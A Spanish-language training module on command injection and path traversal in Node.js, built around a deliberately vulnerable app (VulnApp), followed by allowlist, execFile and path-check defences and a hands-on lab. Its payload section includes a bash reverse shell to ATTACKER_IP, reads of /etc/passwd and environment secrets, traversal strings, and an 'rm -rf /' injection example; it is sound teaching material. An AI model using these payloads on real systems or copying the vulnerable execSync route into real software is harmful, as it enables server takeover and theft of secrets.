

Módulo 2: Vulnerabilidades de Inyección

T06: Command Injection y Path Traversal

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

 *Cuando el servidor ejecuta lo que tú le dices*

Objetivos

- Entender cómo `child_process.exec` con input de usuario crea una vulnerabilidad de OS Command Injection
- Explotar el endpoint de diagnóstico de VulnApp
- Entender Path Traversal y cómo leer `/etc/passwd` a través de la web
- Aplicar validación estricta de input y allowlists como defensa

¿Qué es Command Injection?

Cuando la aplicación ejecuta **comandos del sistema operativo** con input del usuario sin validar.

```
// El servidor ejecuta literalmente lo que el usuario envía  
execSync(userInput); // ← NUNCA hacer esto
```

Impacto:

- 💀 Ejecución de código arbitrario en el servidor
- 📁 Lectura/escritura de archivos del sistema
- 🔑 Acceso a secretos (variables de entorno, claves SSH)
- 💻 Control total del servidor (reverse shell)

El código vulnerable en VulnApp

```
// src/routes/debug.ts - versión vulnerable (comentada)
router.get('/', (req, res) => {
  const cmd = req.query.cmd as string;
  if (cmd) {
    const output = execSync(cmd).toString(); // ← COMMAND INJECTION
    return res.json({ output });
  }
  // También expone process.env sin autenticación
  res.json({ env: process.env });
});
```

💀 El usuario controla qué comando ejecuta el servidor.

Payloads de ataque

Encadenar comandos con ;

```
GET /debug?cmd=ls;whoami
```

Pipe

```
GET /debug?cmd=cat /etc/passwd | grep root
```

Subshell

```
GET /debug?cmd=$(cat /etc/passwd)
```

Leer variables de entorno (secretos)

```
GET /debug?cmd=env
```

Reverse shell (máximo impacto)

```
GET /debug?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

Path Traversal – variante relacionada

```
# Acceder a archivos fuera del directorio permitido
GET /files?path=../../../../etc/passwd
GET /files?path=../../../../etc/passwd # URL encoded
```

Defensa:

```
import path from 'path';

const safePath = path.resolve(BASE_DIR, userPath);
if (!safePath.startsWith(BASE_DIR)) {
  return res.status(400).json({ error: 'Path no permitido' });
}
```

El fix: allowlist estricta

```
// src/routes/debug.ts - versión segura
const ALLOWED_CMDS = new Set(['uptime', 'date', 'hostname']);

router.get('/', requireAuth, (req, res) => {
  const cmd = req.query.cmd as string;

  if (cmd && !ALLOWED_CMDS.has(cmd)) {
    return res.status(400).json({
      error: `Comando no permitido. Permitidos: ${[...ALLOWED_CMDS].join(', ')}`
    });
  }
  // Solo ejecuta comandos de la lista blanca
  const output = execSync(cmd).toString();
  res.json({ output });
});
```

exec vs execFile — diferencia crítica

```
import { exec, execFile } from 'child_process';

// ❌ exec → pasa TODO por el shell (interpreta ;, |, &&, etc.)
exec(`ping ${userInput}`); // userInput = "google.com; rm -rf /"

// ✅ execFile → ejecuta el binario directamente, sin shell
execFile('ping', ['-c', '4', userInput]);
// Si userInput = "google.com; rm -rf /" → error "host not found"
// El ; no se interpreta porque no hay shell involucrado
```

Función	Shell	Metacaracteres	Riesgo
exec	Sí	Se interpretan	Alto
execFile	No	Son literales	Bajo
spawn	Configurable	Depende de <code>shell: true</code>	Depende

✅ Si NECESITAS ejecutar un programa externo, usa `execFile` o `spawn` sin `shell: true`.

Casos reales de Command Injection

Año	Producto	Vector	Impacto
2014	Shellshock (Bash)	Headers HTTP → CGI → bash	Millones de servidores comprometidos
2017	Equifax	Struts RCE (similar)	147M registros personales
2021	GitLab CE	Import repo con nombre malicioso	RCE como usuario git
2022	Spring4Shell	Manipulación de classLoader	RCE en apps Spring sin parchear

💀 **Shellshock** demostró que una sola línea de bash puede comprometer internet entero. Los bugs en shells/parsers tienen impacto catastrófico.

Defensa en profundidad

Capa	Medida
1. Eliminar	No ejecutar comandos del SO si no es estrictamente necesario
2. Allowlist	Solo comandos predefinidos, sin parámetros del usuario
3. No concatenar	Usar <code>execFile</code> en vez de <code>exec</code> (separa programa de args)
4. Autenticación	Proteger endpoints de diagnóstico
5. Mínimo privilegio	Proceso con usuario sin permisos root
6. Contenedor	Docker limita el blast radius

Lab T06: Command Injection en diagnóstico

Objetivo: ejecutar comandos del sistema a través del endpoint de diagnóstico

Setup: `cd VulnApp && npm start`

1. Llama a `GET /debug?cmd=ls` y observa la respuesta
2. Prueba `GET /debug?cmd=ls;whoami` para encadenar comandos
3. Abre `src/routes/debug.ts` y aplica una allowlist estricta
4. Verifica que solo comandos permitidos funcionan